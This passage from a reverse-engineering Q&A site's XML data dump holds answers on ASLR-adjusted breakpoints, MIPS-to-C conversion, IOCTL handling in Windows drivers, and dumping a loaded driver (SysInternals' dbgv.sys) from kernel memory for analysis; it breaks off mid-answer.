  <row Id="3957" PostTypeId="2" ParentId="3948" CreationDate="2014-03-25T17:59:53.197" Score="4" Body="&lt;p&gt;The Calculator app is stripped as can be seen by running &lt;code&gt;nm&lt;/code&gt;.&#xA;You will need to find the address of the method using &lt;code&gt;class-dump&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ class-dump -A /Applications/Calculator.app | grep showAbout&#xA;- (void)showAbout:(id)arg1; // IMP=0x0000000100009939&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However as the Calculator application is already running, the address has been slided because of ASLR.&#xA;To find the ASLR slide you can use my tool called &lt;a href=&quot;https://github.com/Tyilo/get_aslr&quot; rel=&quot;nofollow&quot;&gt;get_aslr&lt;/a&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo get_aslr $(pgrep Calculator)&#xA;ASLR slide: 0x9508000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then add the two numbers together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000100009939 + 0x9508000 = 0x109511939&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is the current address of the &lt;code&gt;showAbout:&lt;/code&gt; method.&#xA;Now you just need to set the breakpoint in &lt;code&gt;lldb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b *0x109511939&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works!&lt;/p&gt;&#xA;" OwnerUserId="40" LastActivityDate="2014-03-25T17:59:53.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3958" PostTypeId="2" ParentId="3953" CreationDate="2014-03-25T19:34:23.693" Score="2" Body="&lt;p&gt;RF signals are composed of three possible modulations: Amplitude, Frequency, and Phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've determined the width and center frequency of the signal, analyze the amplitude changes, if any.  Try to determine if the amplitude is periodic. Similarly, look at the frequency and phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most radio systems conform to established standards, so once you've identified which modulations the signal is using, and whether they appear to be discrete or continuous, you can narrow them down to more specific possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that some will be very complex, and won't be easily discerned using this type of system.  GPS can't be understood this way because you're receiving signals from many satellites simultaneously, and must separate them using code division techniques.  Other new technologies such as MIMO are similarly complex, and won't easily succumb to any automated system looking at the above three modulations alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it should give you a start.&lt;/p&gt;&#xA;" OwnerUserId="4240" LastActivityDate="2014-03-25T19:34:23.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3959" PostTypeId="1" CreationDate="2014-03-25T20:54:32.387" Score="2" ViewCount="24362" Body="&lt;p&gt;Can someone help me convert the following MIPS code back to C?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume that the variables &lt;code&gt;f&lt;/code&gt;, &lt;code&gt;g&lt;/code&gt;, &lt;code&gt;h&lt;/code&gt;, &lt;code&gt;i&lt;/code&gt;, and &lt;code&gt;j&lt;/code&gt; are assigned to registers &lt;code&gt;$s0&lt;/code&gt;, &lt;code&gt;$s1&lt;/code&gt;, &lt;code&gt;$s2&lt;/code&gt;, &lt;code&gt;$s3&lt;/code&gt;, and &lt;code&gt;$s4&lt;/code&gt;, respectively. Base address of the arrays &lt;code&gt;A&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt; are in registers &lt;code&gt;$s6&lt;/code&gt; and &lt;code&gt;$s7&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sll $t0, $s0, 2      # $t0 = f * 4&#xA;add $t0, $s6, $t0    # $t0 = &amp;amp;A[f]&#xA;sll $t1, $s1, 2      # $t1 = g * 4&#xA;add $t1, $s7, $t1    # $t1 = &amp;amp;B[g]&#xA;lw $s0, 0($t0)       # f = A[f]&#xA;addi $t2, $t0, 4 &#xA;lw $t0, 0($t2)&#xA;add $t0, $t0, $s0&#xA;sw $t0, 0($t1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4187" LastEditorUserId="1655" LastEditDate="2014-03-26T07:13:42.077" LastActivityDate="2014-03-26T07:13:42.077" Title="Convert MIPS assembly code to C?" Tags="|assembly|c|" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-29T05:07:28.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="3960" PostTypeId="2" ParentId="3959" CreationDate="2014-03-25T21:20:14.933" Score="5" Body="&lt;p&gt;Seems like your h, i and j aren't used at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your code including my comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sll $t0, $s0, 2         # $t0 = f * 4&#xA;add $t0, $s6, $t0       # $t0 = &amp;amp;A[f]&#xA;sll $t1, $s1, 2         # $t1 = g * 4&#xA;add $t1, $s7, $t1       # $t1 = &amp;amp;B[g]&#xA;lw $s0, 0($t0)          # f = A[f]&#xA;addi $t2, $t0, 4        # $t2=$t0+4 =&amp;gt; $t2 points to A[f+1] now&#xA;lw $t0, 0($t2)          # $t0 = A[f+1]&#xA;add $t0, $t0, $s0       # $t0 = $t0 + $s0  =&amp;gt; $t0 is now A[f] + A[f+1]&#xA;sw $t0, 0($t1)          # store the result into B[g]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the whole snipped could have been&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B[g] = A[f] + A[f+1];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in C. Assuming, of course, that A and B are arrays of 4-byte integers.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-03-25T21:20:14.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3961" PostTypeId="1" CreationDate="2014-03-26T04:57:49.927" Score="1" ViewCount="3517" Body="&lt;p&gt;Is there a tool that disassembles x86 executables, presents it in a GUI where you can edit the assembly commands, and reassembles it when you want to save/patch the exe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All it would need is a tool that disassembles and reassembles x86 executables into a kind of text format .. like what &lt;code&gt;ildump&lt;/code&gt; does with .NET.&lt;/p&gt;&#xA;" OwnerUserId="4247" LastActivityDate="2014-03-27T07:12:32.077" Title="GUI-based x86 assembly editor" Tags="|disassembly|assembly|x86|reassembly|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3962" PostTypeId="2" ParentId="3955" CreationDate="2014-03-26T05:49:35.690" Score="9" Body="&lt;p&gt;More specifically, it sounds like your executable is loading a Device Driver.  Userspace executables often communicates with drivers via &lt;a href=&quot;http://en.wikipedia.org/wiki/Ioctl&quot; rel=&quot;nofollow noreferrer&quot;&gt;IOCTLs&lt;/a&gt; (or I/O Controls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa363216.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DeviceIoControl&lt;/code&gt;&lt;/a&gt; does just that: sends an IOCTL to the driver.  Note the second parameter to this function: &lt;code&gt;DWORD dwIoControlCode&lt;/code&gt;.  This is the code that identifies which IOCTL the program is requesting the driver to perform.  It is just a 32-bit DWORD value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on the driver side there are a few things you need to know. &lt;sub&gt;(Be prepared to swim through a few structures!)&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a driver is first loaded, its &lt;code&gt;DriverEntry&lt;/code&gt; function will be called. This is passed a pointer to the driver's &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff544174.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DRIVER_OBJECT&lt;/code&gt;&lt;/a&gt;.  In this structure there is an array named &lt;code&gt;MajorFunction&lt;/code&gt;, which is a set of function pointers that the kernel will call when userspace tries to do something with the driver (e.g. Open, Close, or send IOCTL). These functions are identified by &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff550710.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;IRP Major Function Codes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of ioctls sent by &lt;code&gt;DeviceIoControl&lt;/code&gt;, the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff550744.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt;&lt;/a&gt; function is called. This function is called for &lt;em&gt;any&lt;/em&gt; ioctl.  Now to determine which &lt;code&gt;dwIoControlCode&lt;/code&gt; was passed to &lt;code&gt;DeviceIoControl&lt;/code&gt;, the ioctl-handling function will look at &lt;code&gt;Parameters.DeviceIoControl.IoControlCode&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this value, there is often a switch-statement which selects different behavior depending on the control code.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So first, you want to load up the &lt;code&gt;.sys&lt;/code&gt; driver into IDA. The function that IDA marks as &lt;code&gt;DriverEntry&lt;/code&gt; is really a wrapper generated by the DDK. The real &lt;code&gt;DriverEntry&lt;/code&gt; is usually &lt;code&gt;jmp&lt;/code&gt;'d to at the end of this stub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the real &lt;code&gt;DriverEntry&lt;/code&gt;, you'll want to locate where the &lt;code&gt;MajorFunction&lt;/code&gt; entries are populated. It might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BWlFv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2014-03-26T05:49:35.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3963" PostTypeId="2" ParentId="3930" CreationDate="2014-03-26T06:11:31.510" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?q=vmware%20gdb%20stub&quot; rel=&quot;nofollow&quot;&gt;VMware exposes a GDB stub&lt;/a&gt; specifically for this purpose. Using this stub, one can connect GDB (or any GDB front-end) to manipulate the guest OS, as if it were a process.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.osdev.org/VMware&quot; rel=&quot;nofollow&quot;&gt;VMware&lt;/a&gt; - OSDev Wiki&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_gdb_windows_vmware.pdf&quot; rel=&quot;nofollow&quot;&gt;Debugging Windows kernel under VMWare using &#xA;IDA's GDB debugger&lt;/a&gt; - HexRays&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2014-03-26T06:11:31.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3964" PostTypeId="2" ParentId="3961" CreationDate="2014-03-26T08:44:34.323" Score="2" Body="&lt;p&gt;Use IDA Pro. This is exactly the tool you're asking for. For patching the binary, use the options under the menu Edit -&gt; Patch.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-03-26T08:44:34.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3965" PostTypeId="2" ParentId="3955" CreationDate="2014-03-26T10:02:01.140" Score="14" Body="&lt;p&gt;You cannot step into kernel mode from Ollydbg. You need a kernel debugger like &lt;code&gt;windbg&lt;/code&gt;, as &lt;code&gt;ollydbg&lt;/code&gt; is a user mode debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you posed the question, I assume you neither have a kernel debugging connection,&#xA;nor the driver where that control code is sent for analyzing it, as answered by Jonathon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage of proper security measures to deal with malware assumed and emphasized from here onward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the malware is running already as your query states that you are on &lt;code&gt;DeviceIoControl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to use ollydbg 2.01.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attach ollydbg to an unknown process &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; and start typing &lt;code&gt;ntdll.ntDeviceIo&lt;/code&gt; and the list box  will show &#xA;&lt;code&gt;ntdll.ntDeviceIoControl&lt;/code&gt; now  select it and &lt;code&gt;follow label&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;F2&lt;/kbd&gt; to set a breakpoint, and &lt;kbd&gt;F9&lt;/kbd&gt; to run the attached process.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INT3 breakpoints, item 0&#xA;  Address = 7C90D27E NtDeviceIoControlFile&#xA;  Module = ntdll&#xA;  Status = Active&#xA;  Disassembly = MOV     EAX, 42&#xA;  Comment = ntdll.NtDeviceIoControlFile(guessed Arg1,Arg2,Arg3,Arg4,Arg5,Arg6,Arg7,Arg8,Arg9,Arg10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ollydbg should break when a control code is sent and stack should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Stack&#xA;    Address   Value      ASCII Comments&#xA;    0013EF50  [7C801675  u€|   ; /RETURN from ntdll.NtDeviceIoControlFile to kernel32.DeviceIoControl+4C&#xA;    0013EF54  /00000090        ; |Arg1 = 90&#xA;    0013EF58  |00000000        ; |Arg2 = 0&#xA;    0013EF5C  |00000000        ; |Arg3 = 0&#xA;    0013EF60  |00000000        ; |Arg4 = 0&#xA;    0013EF64  |0013EF88  ˆï    ; |Arg5 = 13EF88&#xA;    0013EF68  |83050024  $ ƒ   ; |Arg6 = 83050024&#xA;    0013EF6C  |00000000        ; |Arg7 = 0&#xA;    0013EF70  |00000000        ; |Arg8 = 0&#xA;    0013EF74  |0013EFEC  ìï    ; |Arg9 = 13EFEC&#xA;    0013EF78  |00000004        ; \Arg10 = 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the specs of &lt;code&gt;DeviceIoControlCode&lt;/code&gt;, the first argument points to &lt;code&gt;handle&lt;/code&gt; and the sixth argument is the &lt;code&gt;control code&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having windbg installed can make things easier from here, but we will not use windbg at this moment as it has a steep learning curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open ollydbg handle window and find what does the handle point to (&lt;code&gt;0x90&lt;/code&gt; in the above paste) - it points to a device:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Handles, item 9&#xA;  Handle = 00000090&#xA;  Type = File (dev)   &amp;lt;-------- it is a _FILE_OBJECT&#xA;  Refs =    2.&#xA;  Access = 0012019F (FILE_GENERIC_READ|FILE_GENERIC_WRITE)&#xA;  Tag =&#xA;  Info =&#xA;  Translated name = \Device\Dbgv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now run &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx&quot; rel=&quot;noreferrer&quot;&gt;Process Explorer&lt;/a&gt; from &lt;code&gt;SysInternals&lt;/code&gt;. Select the unknown process, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to make the lower pane show handles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the handle &lt;code&gt;90&lt;/code&gt;, right click and select &lt;code&gt;properties&lt;/code&gt;. &lt;em&gt;Process Explorer&lt;/em&gt; will show the address of the &lt;em&gt;Device Object&lt;/em&gt; as noted by Ollydbg. This device object is a &lt;em&gt;File Object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFEXl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ollydbg 2.01&lt;/code&gt; can show memory above &lt;code&gt;0x7fffffff&lt;/code&gt; (kernel mode memory) we will use that feature to find the driver associated with this device &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read about the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff545834.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;FILE_OBJECT&lt;/code&gt;&lt;/a&gt; structure relevant to your OS. In Windows XP you will find the address of device object at +4 from file object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the dump window press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; and type in the address process explorer showed viz &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;863c87f0 and follow expression &#xA;&#xA;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;863C87F0  05 00 70 00|A8 D3 51 86|00 00 00 00|00 00 00 00|  p ¨ÓQ†&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;8651d3a8&lt;/code&gt; in the paste above points to the device object for this file object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read about &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff543147.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;DEVICE_OBJECT&lt;/code&gt;&lt;/a&gt; structure.  In Windows XP, the address of the driver object is at device object + 8.  Following there with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; -&gt; &lt;code&gt;follow expression&lt;/code&gt; as done earlier&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;8651D3A8  03 00 B8 00|01 00 00 00|48 2C F1 86|00 00 00 00|  ¸    H,ñ†&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notice &lt;code&gt;86f12c48&lt;/code&gt; is driver object. Read about &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff544174.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;DRIVER_OBJECT&lt;/code&gt;&lt;/a&gt; structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;+0xc is Driver Start&lt;/code&gt; and &lt;code&gt;+0x10 is Driver Size&lt;/code&gt; --&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; to follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;86F12C48  04 00 A8 00|A8 D3 51 86|12 00 00 00|00 30 2A A9|  ¨ ¨ÓQ†    0*©&#xA;86F12C58  00 3D 00 00|48 9C D8 86|F0 2C F1 86|18 00 18 00|  =  HœØ†ð,ñ† &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;a92a3000&lt;/code&gt; is &lt;code&gt;DriverStart&lt;/code&gt; and size of driver is &lt;code&gt;3d00&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; to follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;A92A3000  4D 5A 90 00|03 00 00 00|04 00 00 00|FF FF 00 00| MZ       ÿÿ&#xA;A92A3010  B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00| ¸       @&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The famous &lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt; is noticeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select from &lt;code&gt;a92a3000&lt;/code&gt; to &lt;code&gt;a92a6d00&lt;/code&gt;,  &lt;kbd&gt;Right-Click&lt;/kbd&gt; -&gt; &lt;code&gt;Edit&lt;/code&gt; -&gt; binary copy and paste the bytes to a new file in any hex editor (HxD for example), and save it as &lt;code&gt;malwaredriver.sys&lt;/code&gt; :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo:\&amp;gt;dir malwaredriver.sys&#xA;&#xA;26/03/2014  14:04            15,616 malwaredriver.sys&#xA;&#xA;\&amp;gt;set /a 0x3d00&#xA;15616&#xA;\&amp;gt;file malwaredriver.sys&#xA;&#xA;malwaredriver.sys; PE32 executable for MS Windows (native) Intel 80386 32-bit&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now analyze the driver statically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read about &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff544174.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;DRIVER_OBJECT&lt;/code&gt;&lt;/a&gt; structure carefully to find you can readily know the handler for &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff550744.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;IRP_MJ_DEVICE_IO_CONTROL&lt;/code&gt;&lt;/a&gt; handler in ollydbg. It would be at &lt;code&gt;+0x70&lt;/code&gt; from Driverobject in XP. For this particular driver, the &lt;code&gt;IRP_MJ_DEVICE_IO_CONTROL_HANDLER&lt;/code&gt; is at &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Value      ASCII Comments&#xA;86F12CB8   A92A4168  hA*©&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can follow and disassemble this memory in ollydbg. Select cpu dump press ctrl+g to disassemble an unknown driver &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Command                             Comments&#xA;A92A4168  MOV     EDI, EDI                    ; IRP_MJ_DEVICE_IO_CONTROL_HANDLER(pdevob,pirp)&#xA;A92A416A  PUSH    EBP&#xA;A92A416B  MOV     EBP, ESP&#xA;A92A416D  SUB     ESP, 24&#xA;A92A4170  PUSH    EBX&#xA;A92A4171  PUSH    ESI&#xA;A92A4172  MOV     ESI, DWORD PTR SS:[EBP+0C]  ; irp&#xA;A92A4175  MOV     EAX, DWORD PTR DS:[ESI+60]  ; nt!_irp -y Tail.overlay.cur-&amp;gt;maj&#xA;A92A4178  MOV     EDX, DWORD PTR DS:[ESI+0C]  ; nt!_irp Tail.overlay.cur-&amp;gt;par.DeviceIo.ty&#xA;A92A417B  XOR     EBX, EBX&#xA;A92A417D  PUSH    EDI&#xA;A92A417E  LEA     EDI, [ESI+18]&#xA;A92A4181  MOV     DWORD PTR DS:[EDI], EBX&#xA;A92A4183  MOV     DWORD PTR DS:[ESI+1C], EBX&#xA;A92A4186  MOVZX   ECX, BYTE PTR DS:[EAX]&#xA;A92A4189  SUB     ECX, EBX&#xA;A92A418B  JE      SHORT A92A41F7              ; case 0 create&#xA;A92A418D  DEC     ECX&#xA;A92A418E  DEC     ECX&#xA;A92A418F  JE      SHORT A92A41CA              ; case 2 close&#xA;A92A4191  SUB     ECX, 0C&#xA;A92A4194  JNE     A92A42BB                    ; unhandled&#xA;A92A419A  MOV     ECX, DWORD PTR DS:[EAX+0C]  ; ioctl&#xA;A92A419D  MOV     EBX, ECX&#xA;A92A419F  AND     EBX, 00000003&#xA;A92A41A2  CMP     BL, 3&#xA;A92A41A5  JNE     SHORT A92A41AC              ; buff align&#xA;A92A41A7  MOV     EBX, DWORD PTR DS:[ESI+3C]&#xA;A92A41AA  JMP     SHORT A92A41AE&#xA;A92A41AC  MOV     EBX, EDX                    ; inbuff&#xA;A92A41AE  PUSH    DWORD PTR SS:[EBP+8]        ; devobj&#xA;A92A41B1  PUSH    EDI&#xA;A92A41B2  PUSH    ECX&#xA;A92A41B3  PUSH    DWORD PTR DS:[EAX+4]        ; bufflen&#xA;A92A41B6  PUSH    EBX&#xA;A92A41B7  PUSH    DWORD PTR DS:[EAX+8]        ; ioctlcode&#xA;A92A41BA  PUSH    EDX&#xA;A92A41BB  PUSH    1&#xA;A92A41BD  PUSH    DWORD PTR DS:[EAX+18]       ; fobj&#xA;A92A41C0  CALL    A92A3EEC                    ; actual_handler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the ioctl code is handled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Command                                  Comments&#xA;A92A3EF8  MOV     ESI, DWORD PTR SS:[EBP+24]&#xA;A92A3EFB  XOR     EBX, EBX&#xA;A92A3EFD  MOV     DWORD PTR DS:[ESI], EBX&#xA;A92A3EFF  MOV     DWORD PTR DS:[ESI+4], EBX&#xA;A92A3F02  MOV     ECX, DWORD PTR SS:[EBP+20]&#xA;A92A3F05  MOV     EAX, 83050020&#xA;A92A3F0A  CMP     ECX, EAX&#xA;A92A3F0C  JA      A92A40F1  this code will take this path as 24 &amp;gt; 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;===========&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address     Hex dump                  Command                Comments&#xA;A92A40F1    81F9 24000583             CMP     ECX, 83050024&#xA;A92A40F7    74 3F                     JE      SHORT A92A4138 path taken&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The control code does this work and sends some 320 on some condition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[code]&#xA;CPU Disasm&#xA;Address   Command                             Comments&#xA;A92A4138  PUSH    4&#xA;A92A413A  POP     EAX&#xA;A92A413B  CMP     DWORD PTR SS:[EBP+1C], EAX&#xA;A92A413E  JB      SHORT A92A4152&#xA;A92A4140  MOV     ECX, DWORD PTR SS:[EBP+18]&#xA;A92A4143  CMP     ECX, EBX&#xA;A92A4145  JE      SHORT A92A4152&#xA;A92A4147  MOV     DWORD PTR DS:[ECX], 320      &amp;lt;------------&#xA;A92A414D  MOV     DWORD PTR DS:[ESI+4], EAX&#xA;A92A4150  JMP     SHORT A92A4158&#xA;A92A4152  MOV     DWORD PTR DS:[ESI], C000000D&#xA;A92A4158  MOV     AL, 1&#xA;A92A415A  CALL    A92A46D5&#xA;A92A415F  RETN    24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The driver analysed here is the driver loaded by dbgview (dbgv.sys) from SysInternals. This control code checks for an incompatible version of driver loaded in memory. Follow through can be practiced with the specific driver and specific version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(4.75) build time Thu Aug 07 04:51:27 2008&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With windbg inastalled you can do the same with just few commands as posted below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;tlist | grep -i dbgview&#xA;&#xA;3724 Dbgview.exe       DebugView on \\ (local)&#xA;&#xA;C:\&amp;gt;kd -kl -c &quot;.foreach /pS 1 /ps 4 (place  { .shell -ci \&quot;!handle 0 3 0n3724 Fi&#xA;le \&quot; grep File } ) {dt nt!_FILE_OBJECT -y Dev-&amp;gt;Dri-&amp;gt;DriverS place};q&quot; | grep -i&#xA; +0x00c&#xA; +0x00c DriverStart       : 0xf7451000 Void  &#xA; +0x00c DriverStart       : 0xf73c5000 Void   &#xA; +0x00c DriverStart       : 0xa87f9000 Void   &#xA; +0x00c DriverStart       : 0xf7451000 Void   &#xA; +0x00c DriverStart       : 0xf7451000 Void   &#xA;&#xA;C:\&amp;gt;kd -kl -c &quot;.reload ; lm a (0xf7451000); lm a (0xf73c5000) ; lm a (0xa87f9000);q&quot; | grep -i defer&#xA;&#xA; f7451000 f746f880   ftdisk     (deferred)    &#xA; f73c5000 f73db880   KSecDD     (deferred)    &#xA; a87f9000 a87fcd00   Dbgv       (deferred)    &#xA;&#xA;&#xA;C:\&amp;gt;kd -kl -c &quot;.writemem  malware.sys a87f9000 a87fcfff ;q&quot; | grep -A 1 lkd&#xA;&#xA; lkd&amp;gt; kd: Reading initial command '.writemem  malware.sys a87f9000 a87fcfff ;q'     &#xA; Writing 4000 bytes........    &#xA;&#xA;C:\&amp;gt;file malware.sys  &#xA;&#xA; malware.sys; PE32 executable for MS Windows (native) Intel 80386 32-bit   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An explanation for the commands above as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd -kl is local kernel debugging&#xA;&#xA;!handle command has the capability to search for kernel handle  &#xA;when you input a Pid &#xA;&#xA;The explanation for arguments for this commands are &#xA;&#xA; 0 = all handles &#xA; 3 = default flag provides basic+object information&#xA; 0n3724 